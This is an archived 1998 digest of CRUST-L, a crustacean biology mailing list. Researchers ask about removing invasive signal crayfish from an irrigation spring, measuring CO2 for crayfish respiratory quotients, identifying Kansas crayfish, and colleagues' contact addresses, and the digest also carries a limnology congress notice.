=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF-=FF =00 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Gary L. Vinyard"" Date: Fri, 12 Jun 1998 08:17:06 -0700 (PDT) Subject: CRUST-L: Exotic crayfish removal Crusties: I have been contacted by a local rancher who has had non-native Pacifastacus leniusculus recently invade a spring he uses for irrigation. Unfortunately for him, the animals enter his irrigation system and plug the pipes when the diameter is reduced at joints and sprinkler heads. He claims that fencing and screening has been tried unsucessfully and is looking for some sort of selective toxicant which can be used to reduce or elimenate the crayfish. Does anyone have any suggestions?? Thanks. ____________________________________________________ | | | Gary Vinyard | | Department of Biology /314 | | University of Nevada | | Reno, Nevada 89557-0015 | | | | gvinyard@med.unr.edu | | http://www.brrc.unr.edu | |____________________________________________________| =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #149 ***************************** >From owner-crust-l Wed Jun 24 05:22:34 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id FAA26993 for crust-l-digest-outgoing; Wed, 24 Jun 1998 05:20:07 -0400 Date: Wed, 24 Jun 1998 05:20:07 -0400 Message-Id: <199806240920.FAA26993@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #150 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 24 crust-l-digest Wednesday, 24 June 1998 Volume 01 : Number 150 CRUST-L: SIL MEETING IN IRELAND [none] CRUST-L: Rotifer culture CRUST-L: crayfish abdominal appendages [none] CRUST-L: E-mail of D.D. Sameoto? CRUST-L: carbon dioxide measurement CRUST-L: E-mail of J.Hirota? CRUST-L: Actograph Re: CRUST-L: carbon dioxide measurement CRUST-L: change of venue CRUST-L: Back to Mole Crabs [none] CRUST-L: various addresses (fwd) Re: CRUST-L: various addresses (fwd) CRUST-L: Identifing Kansas Crayfish CRUST-L: cumacea CRUST-L: (no subject) ---------------------------------------------------------------------- From: jrynolds@TCD.IE (julian Reynolds) Date: Fri, 12 Jun 1998 16:40:19 +0000 Subject: CRUST-L: SIL MEETING IN IRELAND Jeff - I would be grateful if you would post this message on the list many thanks Julian Reynolds, Dept. of Zoology, University of Dublin, Trinity College, Dublin 2, IRELAND CRUSTLERS - International Society of Limnologists (SIL) in Ireland - The 27th SIL Congress will be held at University College, Dublin from 8th to 14th August 1998. We anticipate 1500 delegates and many parallel sessions, including special sessions on zooplankton crustaceans and on freshwater fishes, and also the 69th Annual Meeting of the FBA. Late registration is still possible. We look forward to welcoming all our registered delegates to Dublin for the 27th SIL Congress, and hope it will be a rewarding and successful event for all. We have been working hard to make this a very special meeting; our arrangements are in place for a host of scientific and social events. We hope that you will learn much about global and Irish limnology and, at the same time, enjoy the unique ambience of Ireland. Registration desks open at the O'Reilly Hall, UCD from 14.30-19.00 hrs on Saturday 8th August and from 10.00-19.00 on Sunday 9th August. CONGRESS WEB SITE: http://www.rtc-tallaght.ie/conferences/sil/default.htm See also the SIL HOME PAGE: http://www. limnology.org =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: owner-crust-l Date: Fri, 12 Jun 1998 13:59:40 -0400 Subject: [none] - ---------- Forwarded message ---------- From: julian Reynolds To: CRUST-L@VIMS.EDU Subject: CRUST-L: SIL MEETING IN IRELAND Sender: owner-crust-l@back.vims.edu Precedence: bulk Reply-To: julian Reynolds Jeff - I would be grateful if you would post this message on the list many thanks Julian Reynolds, Dept. of Zoology, University of Dublin, Trinity College, Dublin 2, IRELAND CRUSTLERS - International Society of Limnologists (SIL) in Ireland - The 27th SIL Congress will be held at University College, Dublin from 8th to 14th August 1998. We anticipate 1500 delegates and many parallel sessions, including special sessions on zooplankton crustaceans and on freshwater fishes, and also the 69th Annual Meeting of the FBA. Late registration is still possible. We look forward to welcoming all our registered delegates to Dublin for the 27th SIL Congress, and hope it will be a rewarding and successful event for all. We have been working hard to make this a very special meeting; our arrangements are in place for a host of scientific and social events. We hope that you will learn much about global and Irish limnology and, at the same time, enjoy the unique ambience of Ireland. Registration desks open at the O'Reilly Hall, UCD from 14.30-19.00 hrs on Saturday 8th August and from 10.00-19.00 on Sunday 9th August. CONGRESS WEB SITE: http://www.rtc-tallaght.ie/conferences/sil/default.htm See also the SIL HOME PAGE: http://www. limnology.org =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: CampDaveK@AOL.COM Date: Fri, 12 Jun 1998 15:00:29 EDT Subject: CRUST-L: Rotifer culture Shane wrote about a book by my friend Martin Moe in which rotifer culture is mentioned. May I also suggest another very good book by Skip Moe that may provide more complete information? Try the following: Moe, Martin A., Jr. 1989. The Marine Aquarium Reference. Systems and Invertebrates. Green Turtle Publications, Plantation, Florida. 510 pp. ISBN 0-939960-05-2. Pages 348-356 discuss rotifer culture in detail and describe culture systems for these critters. Cordially, David K. Camp Florida Marine Research Institute St. Petersburg, Florida USA =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Joseph McCord Date: Fri, 12 Jun 1998 13:40:56 -0700 (PDT) Subject: CRUST-L: crayfish abdominal appendages As an amateur naturalist, I have noticed that about 50% of commercial table crawfish (spp?) available in East Texas seem to sport a small pair of club-like ""extra"" appendages on each of two abdominal segments. My guess would be that this is an instance of sexual dimorphism and that the appendages serve some sexual or reproductive function. Can anyone explain to me: 1) Whether this hypothesis is correct and 2) What are the embryogenetic and/or phylogenetic explanations of these appendages? Are they embryogenetically or phylogenetically ""true"" limbs deriving from a stage prior to the specialization of the abdominal segments as limbless, or do they represent a secondary adaptation? TIA. - -Joseph McCord == ********************************************** If you go around telling the truth for long enough, sooner or later someone will catch you at it. - -Oscar Wilde _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: owner-crust-l Date: Mon, 15 Jun 1998 21:52:21 -0400 Subject: [none] - ---------- Forwarded message ---------- From: JOSE LUIS PALAZON F Subject: CRUST-L: pinnotheridae Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Sender: owner-crust-l@back.vims.edu Precedence: bulk Reply-To: JOSE LUIS PALAZON F Hi Dear Colleagues I want to thank Neto Campos, Marcelo Pinheiro and Dave Conley for their responses and references. They really help me. Regards Jos=E9 Luis JOSE LUIS PALAZON FERNANDEZ UNIVERSIDAD DE ORIENTE NUCLEO DE NUEVA ESPARTA APDO. 147, PORLAMAR ISLA MARGARITA - VENEZUELA TEL: 48-9954870 FAX: 48-095-656545 EMAIL: jpalazon@enlared.net =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Andrew Hirst Date: Tue, 16 Jun 1998 17:22:35 +0100 Subject: CRUST-L: E-mail of D.D. Sameoto? Dear Crusters Does anyone know the present address or e-mail of D.D.Sameoto, who was at the Bedford Institute, Dartmouth, Canada. Thanks in advance for any help. Regards Andrew Hirst __________________________________________ Andrew Hirst George Deacon Division for Ocean Processes Southampton Oceanography Centre Empress Dock Southampton SO14 3ZH United Kingdom Tel: +44 (0)1703 596335 Fax: +44 (0)1703 596247 __________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: biof014@UABDPO.DPO.UAB.EDU (Mickie Powell) Date: Tue, 16 Jun 1998 23:14:40 -0600 Subject: CRUST-L: carbon dioxide measurement Hello Everyone, I am measuring oxygen consumption rates in several crayfish species and I would like to determine R/Q values. However, I do not currently have access to a CO2 gas analyzer. Does anyone have an accurate method for the measurement of total carbon dioxide in freshwater samples without using a CO2 gas analyzer? Can the total CO2 content be determined accurately based on the independent measurment of the bicarbonate (measured as alkalinity) and the dissolved CO2 (measured as pH)? I have been reviewing some of the older literature on the subject and this is cited as one method to determine total CO2, but I am afraid it may not be sensitive enough to measure the change in CO2 over a short time period. Thanks in adavance for your help. Mickie Powell Dept. of Biology Univ. of Alabama at Birmingham B'ham, AL 35294 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Andrew Hirst Date: Wed, 17 Jun 1998 15:06:43 +0100 Subject: CRUST-L: E-mail of J.Hirota? Dear Crusters Does anyone know the present address or e-mail of J.Hirota, who was at the Institute of Marine Resources, University of California, San Diego. Thanks in advance for any help. Regards Andrew Hirst __________________________________________ Andrew Hirst George Deacon Division for Ocean Processes Southampton Oceanography Centre Empress Dock Southampton SO14 3ZH United Kingdom Tel: +44 (0)1703 596335 Fax: +44 (0)1703 596247 __________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Henrique Queiroga"" Date: Wed, 17 Jun 1998 14:47:39 +0100 Subject: CRUST-L: Actograph Dear colleagues, I wish to thank all who sent me information on the construction of an actograph for crab larvae. Sincerely, Henrique Queiroga - -------------------------------- Departamento de Biologia Universidade de Aveiro Campus Universitario de Santiago 3810 Aveiro Portugal Tel: +351.34.370787 Tel: +351.34.370200 ext 2722 Fax: +351.34.26408 Should you send any attached file to me, please use one of the following encoding options: ASCII text, UUencoding, MIME =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chuck Booth Date: Wed, 17 Jun 1998 11:15:27 -0400 Subject: Re: CRUST-L: carbon dioxide measurement Dear Mickey, Measuring the R/Q of aquatic animals, esp. decapods, is difficult; not only is total CO2 in water tricky to measure, but the animals exchange bicarbonate with the water for acid-base regulation (e.g., marine crabs at rest typically excrete bicarbonate in exchange for an inorganic cation, which may have nothing to do with metabolic CO2 excretion; on the other hand, crabs show a very high rate of bicarbonate uptake, again in exchange for a cation, associated with carapace calcification). I recall hearing that Jim Cameron (formerly at UT-Austin marine lab) kept getting R/Q's for blue crabs of 5-10, or thereabouts. You will find a good discussion of the problems and some techniques for measuring total CO2 in water in: Cameron, J.N., 1986, Principles of Physiological Measurement, Academic Press. Most techniques involve acidification of the water and measurement of the evolved CO2 gas. About 10 or so years ago, Bob Boutilier (now at the Zoology Dept., Cambridge, UK, and editor of Journal of Experimental Biology) published a paper (in Respiration Physiology, I think) describing a very sensitive method using a gas chromatograph, although I don't have the reference handy. I can try to locate it for you, if you are unable to find it. Your suggestion for measuring alkalinity and pH to get total CO2 has some problems, I think. What you really want to measure is dissolved CO2 (i.e., PCO2) and any bicarbonate formed when respiratory CO2 reacts with water. Standard methods for measuring titratable alkalinity will only give you bicarbonate (and any carbonate) associated with with inorganic cations; they won't give you the 'respiratory' portion of bicarbonate. Also, you can determine changes in PCO2 based on changes in pH, but you would need to measure pH anaerobically (e.g., using a 'blood-gas' type capillary pH electrode), and you would have to prepare a calibration curve by equilibrating the water to various known PCO2's and then measure the pH at each PCO2. I would be willing to bet that someone in your med school or physiology department has a CO2 analyzer for measuring total CO2 in plasma and other body fluids- perhaps you could borrow one? Be aware that a Cameron Instrument Co. Capni-Con analyzer is probably the only instrument that is sensitive enough for your needs; a Corning CO2 analyzer, which is also popular in medical labs, is probably not sensitive enough to pick up the small changes in total CO2 that your crayfish will produce. Also, I think Chris Wood (McMaster University, Hamilton, Ontario) recently (past year or so) published some data on R/Q's in FW fish (in Journal of exp. Biology, I think); you might check out his methods and what he has to say about this. Good luck, Chuck Booth >Hello Everyone, > >I am measuring oxygen consumption rates in several crayfish species and I >would like to determine R/Q values. However, I do not currently have access >to a CO2 gas analyzer. Does anyone have an accurate method for the >measurement of total carbon dioxide in freshwater samples without using a >CO2 gas analyzer? > >Can the total CO2 content be determined accurately based on the independent >measurment of the bicarbonate (measured as alkalinity) and the dissolved >CO2 (measured as pH)? I have been reviewing some of the older literature >on the subject and this is cited as one method to determine total CO2, but >I am afraid it may not be sensitive enough to measure the change in CO2 >over a short time period. > >Thanks in adavance for your help. > >Mickie Powell >Dept. of Biology >Univ. of Alabama at Birmingham >B'ham, AL 35294 > > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >Archives available at http://www.vims.edu/~jeff/archive.htm >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= - ------------------------------------ Dr. Charles E. Booth Department of Biology Eastern Connecticut State University 83 Windham St. Willimantic, CT 06226 U.S.A. Ph: 860-465-5260 Fax: 860-465-5213 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: aharvey@AMNH.ORG (Alan Harvey) Date: Thu, 18 Jun 1998 13:38:09 -0500 Subject: CRUST-L: change of venue Greetings, At the end of this month, I'm trading in my curator's cap for a professor's, er, porkpie as I leave the AMNH for Georgia Southern University. I look forward to once again being able to work with live animals and colleagues, and students! Please note the timetable and snail mail change below (email and phone info will follow, eventually). Cheers, Alan - ------------------------------------ Alan W. Harvey Until July 1, 1998: (aharvey@amnh.org) Assistant Curator of Invertebrates American Museum of Natural History Central Park West at 79th Street New York, NY 10024 (212) 769-5638; fax (212) 769-5783 http://research.amnh.org/~aharvey After July 1, 1998: Department of Biology Georgia Southern University Statesboro, GA 30460 (phone and email not yet available) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Debi Ingrao Date: Fri, 19 Jun 1998 15:04:27 -0700 (PDT) Subject: CRUST-L: Back to Mole Crabs Does anyone have or know where I can get information on harvesting of mole crabs - where are they harvested? How many pounds are harvested per year? Are the havested mole crabs used only as fishing bait ? Thanks in advance, debi Ingrao Mote Marine Laboratory Phone: (941) 388-4441 EXT. 436 Benthic Ecology Program Fax: (941) 388-4312 1600 Thompson Parkway Sarasota, Fl 34236 e-mail: debi@marinelab.sarasota.fl.us See: http://www.marinelab.sarasota.fl.us We are an independent, nonprofit, marine and estuarine research and education facility. Opinions expressed here are NOT MML policy unless so indicated. Don't CLAM up! THINK SAFETY =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 22 Jun 1998 09:32:35 -0400 (EDT) Subject: [none] Please respond to Richard Smullen and not to me. THanks, Jeff - ---------- Forwarded message ---------- From: Richard Smullen To: ""'CRUST-L@vims.edu'"" Subject: Guiomar Rotllant Date: Fri, 19 Jun 1998 10:22:50 +0100 Hello all, I am trying to get hold of Guiomar Rotllant. Does anyone have his e-mail address? Thanks Richard Dr. Richard Smullen Unit of Aquatic Nutrition Institute of Aquaculture University of Stirling Stirling FK9 4LA Scotland Tel: 44 (0)1786 467891 Fax: 44 (0) 1786 472133 e-mail: rps1@stir.ac.uk =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 23 Jun 1998 08:50:59 -0400 (EDT) Subject: CRUST-L: various addresses (fwd) Please respond to Dirk Platvoet and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Date: Tue, 23 Jun 1998 13:21:18 +0200 To: crust-l@vims.edu From: platvoet@mail.bio.uva.nl (Dirk Platvoet) Subject: addresses Dear colleagues, Could any of you provide me with the recent (e-mail) addresses of the following persons: Dr. C.L. McLay, New Zealand; Mr. M. Kersmaekers, Belgium; Dr. Anna Isabel Camacho, Spain; Dr. Stephano Taiti, Italy; Dr. Koen Martens, Belgium; Dr. H.K. Schminke, Germany; Dr. G. Karaman (Yugoslavia); Dr. Claude Meisch, Luxembourg; Dr. Q. B. Kazmi, Pakistan; Dr. N.M. Tirmizi, Pakistan; Dr. F. Fiers, Belgium; Dr. G.L. Pesce, Italia; Dr. R. Ortal, Israel; Dr. A.L. Viloria P., Maracaibo, Venezuela; Dr. P. Castro, France: Dr. P. Serov, Sydney, Australia; Dr. W. A. Newman, La Jolla, USA; Dr. J.L. Pretus. Thanks very much in advance. Dirk Platvoet Dirk Platvoet collection manager Zoological Museum Amsterdam, dept. of crustaceans P.O. Box 94766 1090 GT Amsterdam the Netherlands tel31(20)5256288 fax31(20)5255402 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: pnoel@CIMRS1.MNHN.FR (Pierre NOEL) Date: Tue, 23 Jun 1998 16:18:46 +0100 Subject: Re: CRUST-L: various addresses (fwd) >Could any of you provide me with the recent (e-mail) addresses of the >following persons: >Thanks very much in advance. >Dirk Platvoet Here is some information, without guaranty of exactitude! If needed for the same matter, contact me directly at pnoel@mnhn.fr Best regards. Pierre. Dr. C.L. McLay, New Zealand; e-mail cml@zool.canterbury.ac.nz Mr. M. Kersmaekers, Belgium; (not in my files) Dr. Anna Isabel Camacho, Spain; e-mail mcnac22@CC.CSIC.ES Dr. Stephano Taiti, Italy; e-mail messana@mailserver.idg.fi.cnr.it Dr. Koen Martens, Belgium; e-mail martens@kbinirsnb.be Dr. H.K. Schminke, Germany; e-mail schminke@hrz1.pcnet.uni-oldenburg.de Dr. G. Karaman (Yugoslavia); no e-mail? Fax? Tel. +38(081)43-832 Dr. Claude Meisch, Luxembourg; no e-mail? fax 352 46 3848 Dr. Q. B. Kazmi, Pakistan; e-mail kazmi@mrc.khi.erum.com.pk Dr. N.M. Tirmizi, Pakistan; e-mail tirmizi@mrc.khi.erum.com.pk Dr. F. Fiers, Belgium; e-mail frankfiers@kbinirsnb.be Dr. G.L. Pesce, Italia e-mail pesce@aquila.infn.it Dr. R. Ortal, Israel; (not in my files) Dr. A.L. Viloria P.,Venezuela; (not in my files) Dr. P. Castro, France France ??? usually on Crust-L. Peter, are you here or there? or try pcastro@csupomona.edu Dr. P. Serov, Sydney, Australia e-mail pserov@LAUREL.OCS.MQ.EDU.AU Dr. W. A. Newman, La Jolla, USA;e-mail wnewman@ucsd.edu Dr. J.L. Pretus. e-mail ?? fax +34 3 411 143 Pierre Y. Noel, Biologie des Invertebres marins, CNRS URA no699, Museum national d'Histoire naturelle, 55 rue Buffon, F-75005 Paris, France. e mail pnoel@mnhn.fr Tel +33 1 4079 3098 Fax +33 1 4079 3089 Visitez le serveur du Museum/Visit our Webserver (http://www.mnhn.fr) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Diana Barshaw Date: Tue, 23 Jun 1998 15:49:39 -0500 Subject: CRUST-L: Identifing Kansas Crayfish Hi crusters, I recently moved here to Emporia Kansas and have began studying the crayfish here. I have little experience with Crayfish (I come from a marine - lobster background). My problem is that I am nervous about IDing them. I am using two keys, one is new and is called the Crayfish of Missouri. The other key is from 1952, ""The crayfish of Kansas"" by A. Williams and A.B. Leonard. I think that all the crayfish that I have collect so far are Orconectes virilis, (use to be nais?) but I would like to make particularly sure that they are not Orconectes immunis. The two Keys seem to contradict each other quite a bit, the new key shows the antennal scales of both of these species as being the same shape, while the Williams key shows the antennal scale of immunis to be of a different shape. If anyone out there know the crayfish of this area and can help me I would be really grateful! Thanks in advance Diana Barshaw Emporia State University E-mail Barshawd@emporia.edu Tel. 316 341 5620 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Dieter Walossek Date: Wed, 24 Jun 1998 10:35:57 +0200 Subject: CRUST-L: cumacea Hi all, some days ago someone asked for addresses of people working or interested in cumaceans. I just uncovered a list of persons which I could send offline to this colleague if wanted. So please could the colleague reply to this if he's still interested? DIETER University professor and head of the Section for Biosystematic Documentation University of Ulm, Helmholtzstrasse 20, 89081 Ulm, Germany phone 0731-50-31000, 50-31001, Fax 50-31009 e-mail: dieter.walossek@biologie.uni-ulm.de http://www.biologie.uni-ulm.de/biosysdoc/ Note also the homepage of the newly founded >>Gesellschaft fuer Biologische Systematik<<: http://www.biologie.uni-ulm.de/biosysdoc/gesfbsys.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send 